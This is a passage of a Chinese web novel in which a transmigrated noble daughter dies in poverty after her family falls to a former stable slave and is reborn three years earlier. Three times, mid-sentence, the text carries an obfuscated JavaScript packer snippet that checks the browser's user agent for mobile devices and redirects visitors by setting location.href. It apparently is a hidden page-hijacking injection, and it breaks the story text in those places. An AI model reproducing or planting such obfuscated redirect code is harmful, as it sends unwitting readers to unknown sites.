《嫡姐你也是穿的?!》 1. 第 1 章 大雍朝康和二十三年,圣上昏聩,世族势大,民不聊生。次年,各地陆续爆发起义,百姓揭竿而起。本次动乱中,最为勇猛的竟是一伙农民佃户组成的叛军,几乎兵临城下,皇权与关陇世族势力岌岌可危。 所幸,一位少年自乱世中异军突起,被朝廷招安后,力压叛军,平定天下。 次年,少年官拜大司马,扶持幼帝登基,关中贵族无不松一口气。 除了扶风崔氏。 扶风崔氏,乃是清河崔氏的旁支,亦属世家高门,也曾俯瞰天下寒士……与这个曾经贫贱,而如今大权在握的少年。 这个少年,如今的大司马谢剑清,曾经是崔氏的马奴,曾经……差一点死于崔氏杖下。 谢剑清如今多么煊赫,崔氏就有多么落魄! 在这么一个弱肉强食,尊卑等级分明的世界,当初谁又能想到,那个衣衫褴褛、野狗一样的少年,会摇身一变成了新晋权贵呢?谁又能想到,他能把崔家全数贬为庶人呢? 他没有杀崔家任何一个人,可是他让崔家这些锦衣玉食的贵族们生不如死。 尤其是女人。 天寒地冻中,地面结了冰,家家户户门户紧闭,崔行婉抱着一个笨重的木盆,一步一打滑地往回走。 木盆里是刚刚洗干净的衣服,残余的水淅淅沥沥地顺着底部的缝隙往下流,流到手指红肿的冻疮上,随着手指发颤,发抖。 好冷啊。 好冷啊。 ……好冷啊! 崔行婉每一步都在发抖。 然而,光是冷,还不足以让她如此发抖。 她还饿。 饿到肚子一阵阵绞痛……她已经感觉不到是不是胃在痛,哪里是胃。 崔行婉是扶风崔氏的庶女,京都里尽人皆知的,崔家那个嫁不出去的老姑娘。 ——十八岁,在这里,就是老姑娘了。 可是,在崔行婉心里,十八岁,才刚刚成年…… 如果在现代,她才刚刚成年。 怎么会让她吃不饱,穿不暖,在寒冬腊月的街头顶着寒风受冻? 怎么会让她去结了冰的河面凿开冰窟窿,一件一件地洗着全家的衣服……一件一件地洗着邻居的衣服……任何一个施舍给她哥哥一口饭吃的人的衣服…… 怎么会……让一个二十多岁有手有脚的青年,理直气壮地霸占妹妹们的吃食,像野狗一样驱使她们干活,为他多挣几文钱? 可是这不是现代,而是一个见了鬼的、历史书上根本没出现过的“大雍朝”。 崔行婉也不是那个职场白领社畜了。 她刚穿越过来的时候,曾经庆幸自己投了个好胎,至少比那些冻毙风雪的奴仆们好多了……可是现在,又有什么区别? 饥饿和寒冷,让她生不如死。 她眼前发黑。若不是昨晚……她偷偷摸进米店后门,偷了一把他们积压的陈米,回家后深夜去灶台煮了吃,估计她洗衣服的时候就会一头栽进冰窟窿,淹死了。 崔行婉头晕目眩地抱着木盆走着,还注意着把盆牢牢护在怀里……她不能摔倒,不能跌破木盆,这是家里唯一的木盆……除了给人洗衣服换钱,全家还要用它来洗脸,洗脚……呕…… “哗啦”一声,一盆黑乎乎的污水尽数泼到崔行婉面前,溅湿她唯一一件还勉强能御寒的衣裙。 一个膀大腰圆的女人一手拎着盆,一手嫌恶地捂着鼻子,看瘟疫一样看着她: “愣着干什么?快走啊!” 那女人,崔行婉见过,是里正家里的娘子…… 崔行婉为什么知道呢?哦,是因为这一整条街,只有里正家里有水井。 有水井! 就是因为这口水井,她没有,所以她只能起早贪黑地去河面凿冰窟窿,冒着丢命的风险…… ……给人洗衣服。 简直太可笑了。曾经她在崔家的深宅庭院里,随处可见的水井,在这里居然成了稀罕物?这里甚至只是京城郊外,不是什么荒郊野岭! 其实在这个时代,经济基础和上层建筑近乎于崔行婉认知中的“魏晋南北朝”,打一口井,本来就是很难的事。只是崔行婉投胎成了士族女。 士族女,哪怕是庶女,也足以享受这个时代里“稀罕”的东西。这种“稀罕”,让她一点点说服自己,其实穿到这个时代,也不算坏了。至少锦衣玉食,车马仆从,一呼百应。 而现在,她没有了。 这让她肝肠寸断。 那个女人上下打量了一下崔行婉,“哟”地笑了一下,冷嘲热讽:“瞧这齐头整脸的,崔家从前把你养的不错吧?可惜,现在不是从前了!还当自己是千金小姐哪?你要这样想,就现在这日子,你活不过一个月!……摆张死人脸干什么?还不服?天下多少百姓不都是这么过的,让你们过一下,就受不了了?谁让你们崔家得罪了大司马?大司马仁善,没杀了你们一家就不错了!……” 说罢,躲也似的,“啪”地一声摔上门。 崔行婉站在原地,“咣啷”一声,木盆摔倒在地,衣服骨碌碌滚了出来。 崔行婉忍不住了,她踉跄几步,赶紧躲到一边,扶住树干,大声干呕起来。 ……昨晚那把陈米,她煮的太急了,怕被家里人看见,半生不熟地就咽了下去,肯定是没消化。 现在尽数吐到树根,黏黏糊糊的,恶心极了。 然而崔行婉扶着膝盖,抬头看见这些,第一反应竟然是: “可惜了”。 这个念头一闪而过,崔行婉呆愣愣地看着这滩呕吐物,回过神后,从心底又泛起一阵恶心。 因为这个念头而恶心。 她正要厌恶地撇过脸,一只狗却如同闻见了美味佳肴一样,倏地扑过来! 扑向那滩黏黏糊糊、泛着酸水的秽物。 崔行婉尖叫一声,连连后退,摔在地上。 那是一只瘦骨嶙峋的狗。 一只和她一样,面黄肌瘦,连肋骨凸起的痕迹,都几乎能戳破皮肉的狗。 哧哧的声音响起,皮包骨头的狗吃得眼冒绿光,崔行婉直直地看着它,崩溃地大叫起来。 “啊——” 崔行婉抱住头,踉跄几步,跌倒在地。 与此同时,地面震震而动,黄土翻腾起来,尘灰迷得她泪眼模糊。 模糊的视线中,一队人马自远而近,奔腾而来。有人大喝: “滚开!” 崔行婉浑身发颤,凭借本能,手脚并用地往路边爬。 一条黑影嗖地从崔行婉眼前窜过去,带着酸臭的呕吐物味道,是那条狗。 它吃饱了,爬的比崔行婉快多了。 崔行婉瘫在路边,看着那条狗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310062|198792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嶙峋的背影,和因寻到了吃食而欢快摇着的尾巴,手指抠进地面的黄土里,指缝抠出来血丝,也浑然不觉。 “啪哒”一声,另一条黑影倏忽在眼前落下,不知是什么物件。 马蹄声顿时停了,伴着马儿的嘶鸣,马头拨转回来,蹄声由远及近,重新回到她的耳边。一个沉郁的男声在头顶喝道: “这位娘子,烦请帮在下捡一下马鞭。” 崔行婉泪眼朦胧地看去,只看见眼前一条掉落的黑色马鞭,滚落在地上。 她稍稍掀起眼帘,只见乌黑官靴,劲装袍角,和那人腰间垂下的一枚成色极好的白玉佩,随着那人俯身的动作而凭空吊荡,拂过骏马鬃毛。 那高头骏马之后,还有一匹又一匹骏马,和远处那一排排玄色的甲胄身影。 这是京郊,再往前便是入京的宣武城门。这队甲胄人马清晨飞驰入京,必定是有陛下特许的武官,说不得便是金吾卫什么的。 ……若在从前,拜谒她崔氏门庭的达官显贵不知凡几,世家门阀的男人,哪个愁没官做?金吾卫算什么,换在从前,见到崔行婉她爹说不定还得点头哈腰,阿谀奉承。 可是现在,崔行婉只能咬碎了牙,胡乱擦干脸上的尘灰和泪,连站起来都顾不上,连忙爬过去捡马鞭,生怕“贵人”等急。 手伸出去的那一刻,她又停顿了。 ……太脏了。这只手太脏了,沾满了灰土。 崔行婉赶紧将手在还算干净的衣襟上擦了擦,才捡起马鞭,用袖口一并擦拭过,才捡起马鞭,跪坐在地上,恭恭敬敬地举过头顶,连头也不敢抬,口中道: “郎君,请。” 崔行婉想,她只来得及擦马鞭,来不及擦脸,模样一定狼狈极了。 然而,那人却没有立刻俯身拿回马鞭。 ……是因为她跪着,太低微,太矮小,而他高坐马上,不方便拿吗? 崔行婉冷冷地想。 果然,那个声音再次响起: “抬起头来。” 这一次,崔行婉听清了,这是个青年男人的声音,年纪不大,大概只有二十岁左右。 让她抬头是什么意思?看上她了?她这副衣衫褴褛地上打滚的恶心样,也会被看上? 啊,对,里正家的女人刚刚还说过她“齐头整脸”的……这个时代的庶民都是皮包骨头,崔行婉好歹好好当做世家贵女养了十几年,皮肤白净,骨肉匀亭…… 倏忽间,两个念头呼啸而过: ——不知道这个男人是什么官位? ——什么官位也好,只要是官!只要有钱!只要能让女人吃饱饭!…… 一瞬之间,纷杂的心绪喷涌而出,而她的头已经条件反射地、顺从地抬起来。 视线对上了一张轮廓分明的脸庞,容貌俊朗,气质肃杀。 崔行婉呆了片刻,浑身忽然过电一样,脑海中一片空白。 这张脸,她曾在崔家深宅后的马厩旁,见过许多次。 阿青。 那个马奴……现在的大司马,谢剑清! 那个害她十八岁都没嫁出去的……那个轻描淡写一句话,就害崔家全家沦为庶民的,混账!!! 电光石火之间,她一把抓住谢剑清准备来接马鞭的手,嘶声道: “是你!” 短短二字,如同泣血。 2. 第 2 章 谢剑清高高在上,垂眸看着她: “不错,是我。二小姐。” “二小姐”三个字一出,崔行婉秀美的五官扭曲在一起,泪水决堤。 仅存的理智,也决堤了。 她全身细微地、又无法控制地颤栗起来: “……为什么?” 崔行婉颤声质问:“为什么!我们崔家哪里得罪了你!你为什么……为什么要把我们全家贬为庶民?” 谢剑清神色淡然,只凝望着她的脸,问:“在下与崔氏的旧怨,二小姐不知道?” 曦光映在他瞳中,泛起一闪而过的碧色。 崔行婉知道,曾经的阿青是个孤儿,父母不详,虽模样与汉人无异,可是只要在强光下,就能看到眼瞳异色,明晃晃有着胡人血统。崔府下人私下讥笑他是野种蛮夷,一个挨一个地排挤他,直到将他排挤到马厩里,做最低贱的马奴。 可这又关她什么事?她有什么错! 崔行婉死死攥住谢剑清的手,全身的血液冲上头顶:“别提从前!世家与庶民,本就泾渭分明,何况……奴仆之身乎?就算当初你没有在崔家,随便换一个世家,未必就能待你多好!崔家即便有错……可是……可是…… ——崔家已经赔了一个嫡女给你了!” 崔行婉牙关颤栗,想要冷笑,唇角都在抖。 “三年前……你一无所有,还只是个马奴的时候,是谁为你送吃送喝?是谁对你倾心相许?是谁……抛下荣华富贵……陪你一个马奴……私、奔?!” 话到最后,咬牙切齿。 “是我的嫡姐!是崔念贞!谢剑清,你忘了她吗?!” “她与你私奔……整个上京,流言蜚语尽指我崔氏,崔家颜面尽失,名声一蹶不振,这还不够吗?你如今大权在握,为何不宽宥她的母家!” 她好恨! 如果当年,她嫡姐崔念贞……没有发疯跟这个马奴私奔,崔行婉怎么会被带累了名声,十八岁还嫁不出去?!怎么会跟着崔家一起成了庶人! 如果这个马奴没有逃出崔家,现在还只是奴仆而已!怎么会白手起家,怎么会在乱世中杀出高官厚禄,杀得崔家不得翻身! 崔行婉好恨!恨到居然当着谢剑清的面,吐出“马奴”两个字! 一声嗤笑响起。 “二小姐,你很恨我?” 谢剑清勾起唇角:“因为我一个马奴,没被主人打杀,还获得了主人女儿的芳心,竟然没有受宠若惊,感恩戴德?” 崔行婉如梦方醒。 她的第一反应,不是去思考谢剑清的话语,而是: “她完了”。 她如今是个庶民!居然和大司马当街顶撞! 崔行婉脸色瞬间苍白。 “世家贵族就是这样的,并非生来高贵,而是联结在一起,维护他们的利益,踩在百姓的骨头吃喝享受,而这个‘利益’,被粉饰成了‘天生高贵’,世世代代传下去。久而久之,连百姓自己都信了。信了他们天生高贵,自己生来卑贱……” “而你的姐姐,居然不要这份‘高贵’……你很恨她,是不是?” 谢剑清淡淡道:“因为她背叛了她高贵的阶级,背叛了你……她投向了百姓所在之地。” 崔行婉瞠目结舌。 谢剑清端详了她一会儿,收回了视线。 “你见了我,只拿你姐姐来质问我,质问我为何如此对崔家。可是从头到尾,没问过一句:姐姐如今到底怎样了。” 谢剑清忽然笑了一下,摇摇头道:“士族中的姐妹。” 笑意轻蔑,讥诮。 他就这样笑着,随手拂过自己腰间的白玉佩,似是整理络子。白玉佩上刻纹繁复,是个篆体的“谢”字。 他已经不是没有名姓的杂种马奴了,他是大司马,谢剑清。 崔行婉的目光不受控地落在这枚玉佩上,脸色忽青忽白,片刻后尖声泣问: “……大司马见了我,见我衣衫褴褛,食不果腹,只关心我有没有向嫡姐‘问好’?” 她的眼泪流下来:“一别经年,您已是大司马,锦衣貂裘,前呼后拥,姐姐与你在一起,好与不好,还需要问吗?可是……可是我呢!我已经三天没有吃过一顿饱饭了……唯一的吃食,是别人不要的陈米!我与姐姐同为崔家女儿,如今我潦倒至此,这难道是姐姐想要的吗?若姐姐难过心伤,难道是大司马想要的吗?” 崔行婉在示弱。 她刚才昏头了……她不该抓住他质问!谢剑清明摆着对崔家有其他仇怨,她再恨,也不该“质问”他……这不是找死吗?她不想死,不想! 崔行婉只能抓住嫡姐这个纽带,剖开自己的狼狈,向他展示:她这个崔家女儿已经这么惨了……请大司马高抬贵手,可怜可怜她……就当是看在嫡姐的面子上,放过她…… 她泪水盈眶,努力委屈又倔强地看着他。 谁知,谢剑清轻声道: “她死了。” 崔行婉的表情僵住了。 谢剑清静静看着她,像是透过她去看另一个人。 许久,崔行婉干巴巴地问:“……什么时候的事?” “很早。” 谢剑清淡淡道:“我投军之前,她就死了。” 崔行婉张了张嘴,却没发出声音。许是腹中空得胃疼,她的身体和大脑似乎分离了,身体动也动不了,大脑却疯狂刷过无数个念头: 哭啊,快哭啊!哭给他看! 快哭着说思念姐姐,快拉住他的衣袖,控诉他没有照顾好姐姐,引他愧疚,让他照顾你,让他施舍你…… 可是,还没等她挤出泪水,谢剑清的目光就从她这张脸上移开了。 “至于你……” 谢剑清忽然笑了笑,用一种忆往昔的语气,轻描淡写道: “当年我和你姐姐最潦倒、最不堪时,我连死老鼠都吃过。二小姐如今还有陈米可吃,不错了。” 崔行婉眸中的泪都快成了血。 马蹄声重重叠叠,踢踏而去,声音渐隐。 一地飞扬的尘灰里。一个沉甸甸的锦袋砸在地上。 崔行婉呆呆地看着它。 这是谢剑清留下的。 羞辱了这么个蝼蚁般的仇人之女后,随手从怀里拿出来,扔在地上。然后策马挥鞭而去,目不斜视。 如她刚刚那纷杂的念头所愿,他真的施舍她了。 像逗狗一样的施舍。 ——可这是钱,很多钱,能买很多粮食。 天色已经完全明了,旭日东升,路上有三两行人路过。远远的,有人惊喜地喊: “哟!地上有个钱袋!”说着便要跑过来抢。 崔行婉回过神,扑过去,伸手去夺那个被随手扔下的钱袋。 仿佛握住了它,绫罗绸缎就能被重新握回掌心。 柔软的丝绸触感,短暂得像是一场梦,在她掌心不久,就逝去了。 因为她在回去的路上,遭人抢劫。 那人尾随她许久,从背后用石头砸倒了她,要去抢她手中的钱袋。 正中后脑,血流如注。 那人把崔行婉翻过来时,她还睁着眼睛。 那人顿时僵了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310063|198792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 傻了,抖抖索索地去探她气息,然后跌坐在地。 他语无伦次:“对不住,对不住……你要怪,就怪这个世道!怪那个给你钱袋的人!” 说着,发狠去掰她的手指,要把钱袋从她手中夺过来。 掰不开。 那人从袖中摸出一把刀,寒刃映着晨曦日光,映在那死死握着钱袋的、僵硬的、满是冻疮的手指上。 远远传来一声男人的厉喝:“滚开!” 紧接着,随着一声重击,一声闷响,那人颓然倒地,连滚带爬地逃了。 崔行婉早已涣散的双眼里,倒映出另一个脸庞。 很陌生。 他是谁?要做什么?也是来抢这个钱袋的吗? 她崔行婉,生前被谢剑清害得和狗争食,死后又因他一个钱袋,引得别人像狗一样大打出手。 崔行婉想冷笑,可是已经动不了了,身体五感恍恍惚惚,离她而去。 日光照来,映得男人手中一道白光,是他刚刚从抢劫崔行婉那人手中夺下的刀。 他握着刀,蹲下身,看着眼前不肯瞑目的女子,死一般的寂静。 崔行婉手指僵硬地攥着那个钱袋,等他割开自己的指节。 她没等到。 只听一声叹息,男人温热的掌心覆上她圆睁的眼睛,为她缓缓合上双目。 那个钱袋,没有再被任何人夺去。 可是她只剩下魂魄,纵锦绣绫罗在手,又有何用? 一抔黄土从他手中撒下来,覆了满脸满身、艳骨锦囊。 沉闷的土腥气,将她整个人淹没—— 又被沉沉的檀香味唤醒。 魂魄仿佛从离恨天外缓缓下坠,掌心逐渐又有了知觉。 是温软的触感,是锦绣绫罗的触感! 崔行婉骤然睁开眼睛! 清晨日光变成了月色,触目是熟悉的雪青色暖罗芙蓉帐,高雅的檀香味包围着她,与黄土路上的马粪味道全然不同。 崔行婉重重合拢了十指,指甲隔着苏绣的缎面掐进掌心,传来刻骨的痛意,又是刻骨的狂喜—— 她掌心握着的,不再是大司马随手扔下的锦囊,而是崔二小姐的绫罗锦被。 寂夜沉沉,一切皆是黯淡的颜色,只有菱窗外,星星点点,透着幽幽的红。 崔行婉拥着锦被坐起身来,手指还紧攥着缎面,似乎生怕松了手,一切就会在眼前消失一样。她遥遥隔窗,望向窗外斑斑的红色。 是灯笼。 张灯结彩,披金挂红,一串串彩灯灯笼挂在屋檐下。几个面熟的奴仆正互相招呼着,踩着梯子爬上爬下,举着红烛,在寒夜中挨个点燃灯笼心中的烛。 烛光亮起,映出灯笼身上一片红,和大大的“寿”字。 吆喝的声音遥遥传来,钻进崔行婉的耳朵里: “点蜡烛时小心点,寿宴上的灯笼都是有数的,可别给烧了!离太夫人六十大寿只剩三天,要是烧了,上哪儿再寻寿灯去!……” 崔行婉猝然睁大了眼睛。 她彻底醒来了。 在一切还没有发生的三年前,醒来了。 这一年,是康和二十三年。圣上昏聩,各地饥荒的饥荒,雪灾的雪灾,没一个能被及时赈灾的……第二年,各地便揭竿而起了。 也是这一年,她的嫡姐,崔念贞,与谢剑清私奔了。 她还记得,那是在崔家太夫人,也就是她的祖母,六十寿宴后的第三天。 第三天后,她崔行婉的名声就彻底被嫡姐毁了。 而现在,距离祖母的寿宴,也只剩下三天。 3. 第 3 章 “三天怎么了?!” 女人尖声的叫骂从西边跨院里传出来。 崔家姨娘甩手把茶盏掷到地上,向面前的婆子怒骂: “就算离太夫人寿宴只剩三天了,这三天,难道连炭都匀不出来?现在这寒冬腊月的,三天没炭,把我们娘几个冻死不成?” 婆子乃是崔家正房夫人派来的,闻言拧眉道:“姨娘这是哪里话!又不是不给你们炭火,只不过从银丝炭换成了木炭而已。更何况,太夫人可是出身陈郡谢氏,那是何等高贵?太夫人的寿宴,来的是谁家?琅琊王氏,河东裴氏,我们崔氏在清河的本家也要来亲贺,这是多大的体面!就算有银丝炭,也得先紧着正堂宴席取用,才能不失了身份。现如今物价又高涨,中馈掏了这么许多,上上下下几百张嘴要吃饭,夫人仁慈,先从自个儿这开始蠲省,姨娘这里没有好东西,夫人那里难道就有?就连素来身弱的大小姐,也烧了普通木炭。姨娘却要闹?” 崔家姨娘姓周,乃是崔府的家生子,出身虽低微,却自小常伴崔老爷身侧,因容色出众,早就得了崔老爷欢心。然而,崔老爷第一任妻子出身高贵,是崔太夫人的娘家侄女,也是陈郡谢氏的女儿,崔家全家上下讨她欢心都来不及,哪里还敢弄出妾室来,惹她生气?周氏便什么心思都不敢有,老老实实当侍奉笔墨的丫鬟。 谁知撞了大运,谢氏女生产时难产,母子皆殒,周氏这才被纳为妾室。后来,崔老爷续弦了一位世家女,可是对方出身平平,是个旁支,嫁过来后只得了一女,周氏却先她一步生下儿子,又生了崔行婉这个女儿,从此气焰渐长。 现如今,周姨娘的儿子逐渐长成,她越发不把崔夫人放在眼里,更何况是她派来的一个婆子?她眼皮一掀,对那婆子冷笑道: “少拿这等话来蒙我!打谅我是玩儿过家家的小孩子吗,任你们拿捏?咱们太夫人出身陈郡谢氏,往年办寿宴,虽说没今年六十大寿这么盛大庄重,可也是够体面的。那会子怎么不说蠲省物资了?还‘中馈虚空’?外面物价再怎么涨,那是外面的事,我们崔氏高门大户,岂会连银丝炭都买不起? 李嬷嬷,你不说,我也知道……夫人就大小姐这一个女儿,前几年养在庄子上,现在好容易接回来了,又说着亲,是不是说了哪家权贵,她得了意,要踩我们西院一脚,嗯?” 周姨娘甜蜜蜜地笑道:“别忘了,过了年,玉哥儿便弱冠了,是能领受官职的年纪了。他是郎君的独子,是从我肚子里爬出去的!” 李嬷嬷脸色立刻变了:“你——” 她正要怒骂,一个少女打帘进来,口中道: “姨娘,不好了,平宁州那边闹起来了,幸亏祖母和姐姐她们回来得早……呀,李嬷嬷来了。婉儿问李嬷嬷安。” 正是崔行婉。她满脸是笑,去拉着李嬷嬷,扶她坐下。 李嬷嬷瞧见崔行婉秀美的小脸,黑沉沉的脸色好转了一些,不情不愿地被她拉着坐下。 崔行婉虽是庶女,却颇得嫡母夫人喜爱。原因无他,就因为这张脸——和夫人亲自生养的大小姐崔念贞,颇为相似。 小时候,就有算命先生给崔念贞批过命,说她有大贵命格,气运却不够,生在此时,流年运消,最终命短福薄。更不妙的是,崔念贞的身体病痛不断,十二岁那年,还落了水,一场高热几乎要了她的命。 崔太夫人原本在平宁州的庄子上静养,闻讯赶回了京都,见孙女儿被养成这样,怒斥崔夫人照料不周,将崔念贞也送去了平宁州,令自己的娘家亲信好生看护。 说来也奇怪,崔念贞这一走,身体便好了,再没听说什么性命之忧。 崔夫人又是喜,又是悲,一日枯坐花园中思念女儿,抬头却看见一朵玉兰被递到面前,九岁的崔行婉歪着头,看着她。 崔行婉与崔念贞,明明同父异母,却生得有五六分相似。崔夫人一看,便恍了神。 于是,她便将崔行婉抱回了自己院里,一养养到十四岁,直到崔念贞从平宁州上回来。 这当然不是巧合。崔行婉是有意寻过去的。周姨娘再有儿子,再受宠,毕竟出身低微,她跟在周姨娘身边,能学到什么?能被嫡母教养,眼界见识、人际交游、名望声誉,皆不一样。 这几年,她跟在崔夫人身边,装乖卖巧,事事熨帖,很是得崔夫人欢心。她那终年无子、母女分离的郁结,也被崔行婉冲散大半。 而这些,李嬷嬷也看在眼里。 是以,她上一刻还跟周姨娘骂得跳脚,下一刻,见了崔行婉,就能生生按下小半的怒气——这泥腿子姨娘再上不得台面,终究是二小姐的生母。若为此事教她与夫人离了心,李嬷嬷为夫人不值,再者,她也不好交代。 李嬷嬷便顺着台阶下,对崔行婉嘘寒问暖,不再搭周姨娘的茬。 周姨娘却不依不饶:“天可怜见,‘贞小姐’回了夫人房里,谁还记得我们这个‘假小姐’?还管她天寒衣单?呵,擎让她跟我这个亲娘受冻去吧,没有银丝炭,叫木炭烧出的烟呛死我们算了,你们快意!” 李嬷嬷脸上青红交错,崔行婉却担忧道:“现下整个京城的银丝炭都断供了,姨娘还不知道?” 周姨娘一愣。 崔行婉道:“往年,银丝炭都是从平宁州走水路运进京的。可是我方才听说,现在邺城南边闹起来了。连码头都堵了,船只没一个过得来。别说银丝炭了,就连平宁州常来贡的那几样口粮,也运不进来。” 周姨娘一听,顾不上闹了,忙问:“什么?我只听说北边闹了饥荒,平宁州可在南边,也闹了?” 崔行婉看向李嬷嬷,李嬷嬷就着梯子,不冷不热道:“闹什么?闹贼盗呗。说是几个矿上的奴工哗变了,平宁州的父母官一开始没当回事,派去几队衙役去镇场,反倒被杀了。他们越发得了意,一发不可收拾……这都是半个月前的事了,现下京都里物价飞涨,银丝炭几乎断供,就算有陈年的,也是紧着供给了御前,或者陈郡谢氏、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310064|198792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 琅琊王氏。至于咱们……” 她话没说完,崔行婉和周姨娘也知道。 他们这个“崔”,并非清河崔氏,而是区区一个旁支,叫做扶风崔氏。数十年前,北方胡戎兵临城下,中原大乱,衣冠南渡,兵荒马乱之中,连士庶之别都快顾不得了,谁还管什么旁支本家?他们只要亮出“崔”姓,便牢牢搭在了世家这条船上。 崔家老太爷就这么走了大运,娶了陈郡谢氏的女儿,也就是如今的崔太夫人,从此身价水涨船高,胡戎之乱平定后,还借着岳家的东风,回了京都为官。 崔太夫人也想扶持儿子,早年给崔父娶了一房娘家侄女,要不然,崔父如何能攀上这种顶级世家?奈何他没福分,人家嫁进来没几年便难产死了。崔父再续弦,便只能续到同为旁支的崔夫人。 崔家跻身顶级士族的梦,短暂地昙花一现,便从崔父这里,破碎了。 周姨娘和李嬷嬷不约而同,皆叹了口气。 李嬷嬷叹的是,自家夫人命不好,既然托生士族,何不托生在本家?娘家是旁支,夫家也是旁支。明明都是高门姓氏,平白低人一头。 周姨娘叹的是,前任主母怎么那么没出息,儿子怀在肚子里,都生不出来,一大一小生生憋死了。那可是谢氏女的种啊!这孩子要是活下来,肯定能让崔家上一个台阶,玉哥儿也就能谋个再高点的官职。 她看了崔行婉一眼,虽有些不情愿,可是崔行婉说的句句实话,又是平宁州动乱、又是时局动荡的,周姨娘两眼一抹黑,更加心惊肉跳,哪里还有空去跟李嬷嬷掰扯什么炭火。挥了挥手,便作罢了。 鸣金收兵。 李嬷嬷走后,周姨娘看也不看她留下的木炭一眼。崔行婉上前,道:“姨娘何必这时候跟夫人起争执呢?夫人说中馈折了许多,不是假话。” 周姨娘讽刺:“怎么?二小姐在夫人跟前养了几年,连谁是亲娘都认不清了?胳膊肘往外拐。” 崔行婉一句话堵回来:“父亲为廷玉哥哥谋官,不需要走祖母的门路?不需要钱财打点?” 周姨娘呆了。然后,眼睛就亮了。 这一年,为崔太夫人举办的六十寿宴,是拉拢,是炫耀,也是运作。 为了崔廷玉。这个崔家的庶长子,周姨娘的眼珠子命根子,未来崔氏被全族贬为庶人后,崔行婉的“主子”。 让她忍饥挨饿,使唤她起早贪黑,冒着性命危险去给人洗衣服做工挣钱的“主子”。 那时候的周姨娘,可没说一句话。 而现在,周姨娘亲亲热热地从脚踏上奔下来,拉着崔行婉的手,问东问西。 崔行婉冷眼看着她。 然后,崔行婉敛目,柔声道: “一份炭而已,有什么好闹的。为了填这份亏空,夫人可不仅只是蠲省了银丝炭。” 还蠲省了,奴仆们赖以过冬的冬衣。 也是未来,马奴阿青豁出命去,当众闹翻崔太夫人寿宴的,起因。 4. 第 4 章 未来的大司马谢剑清,现在的马奴阿青,虽说因天生异瞳,被府中下人排挤,可那都是下人间的事。好歹崔家给了他一口饭吃,这是恩典,他该感恩的。 如果没有那场寿宴的话。 太夫人寿宴上,阿青被压伏着跪倒在主座之下,依旧挣扎着要站起来。一双尚且年少的锐目死死盯着满座宾客,字字泣血。 “好一个‘蠲省’。好一个‘寿宴’。满堂披红挂金,却要下人赤身裸体,冻毙于风雪之中——这便是崔太夫人的贺寿之道吗?” “奴仆也是人,奴仆也想要活命。昔日胡戎之乱,多少士族权贵,显赫皇家,远不能御敌于外,近不能安民于内,奴仆庶民为了求一个活路,也只能被迫揭竿而起。天下大乱,尸横遍野,史书血未干。” “在座诸君,将人逼至绝路,难道就不怕有朝一日,自己也会被人逼至绝路吗?” 满堂之中,鸦雀无声。 就连奉命制住阿青的下人们,都面面相觑,不约而同松了力道。 阿青挣开他们,站了起来。 这一年,他只有十六岁。 阿青单枪匹马大闹了太夫人寿宴,已是自寻死路。纵使他努力挺直脊背,依然能够看到,衣袖下细微的颤栗。 崔家精心操办的寿宴,为了让崔廷玉“露脸”的寿宴,就这么被一个马奴毁掉了。 事后,崔夫人哭得死去活来:“这个该死的马奴!不就是一件冬衣吗……” 阿青为的不是一件冬衣,而是人命。 然而,不是他自己的命。 在阿青冲进寿宴正堂时,还有一个女人,抱着刚刚满月的孩子,在远处哭得死去活来。 那是另一个奴仆,阿茗的妻子。阿茗和阿青同在马厩做工,阿茗长阿青几岁,先讨了老婆,喜上眉梢。老婆又生了儿子,更喜上眉梢。本打算发了工钱,去扯几匹布,做件新棉衣给妻子儿子过冬用。 谁知工钱迟迟不发,听说,是上头管事的偷偷拿去放了印子钱。 盼啊盼,过了十来天,工钱发了。可是平宁州出了事,物价跟着飞涨,那些个铜钱,最多买一篮鸡蛋,哪里买得起棉衣。 阿茗左思右想,把身上的冬衣给了妻子,寻思着过两天便发冬衣了,他又是个男人,身强力壮的,挨一挨,不打紧。 可是,那天夜里下了雪。 阿茗的妻子还没出月子,就要抱着孩子,来雪地里敛尸。 无人敢替阿茗出头。该怨谁呢?怨不穿棉衣就去马厩守夜的阿茗,还是怨偷偷放印子钱的管事,还是怨轻描淡写一句话,就把下人的棉衣“蠲省”了的夫人? 阿青站出来了。 他做了一个最快、最狠、最行之有效的决定——闯进太夫人寿宴,当众检举。 崔行婉已经不记得自己当时是什么想法了,她只记得,那天回去之后,她哥哥崔廷玉脸色很差,周姨娘脸色更差,回了房就摔东西,咬牙切齿: “天杀的讨吃命,他要闹,什么时候闹不行?非要在太夫人寿宴上闹!找死啊?!崔家堂堂士族高门……真是丢死人了!” 崔行婉低头坐在一旁,冷不丁冒出一句: 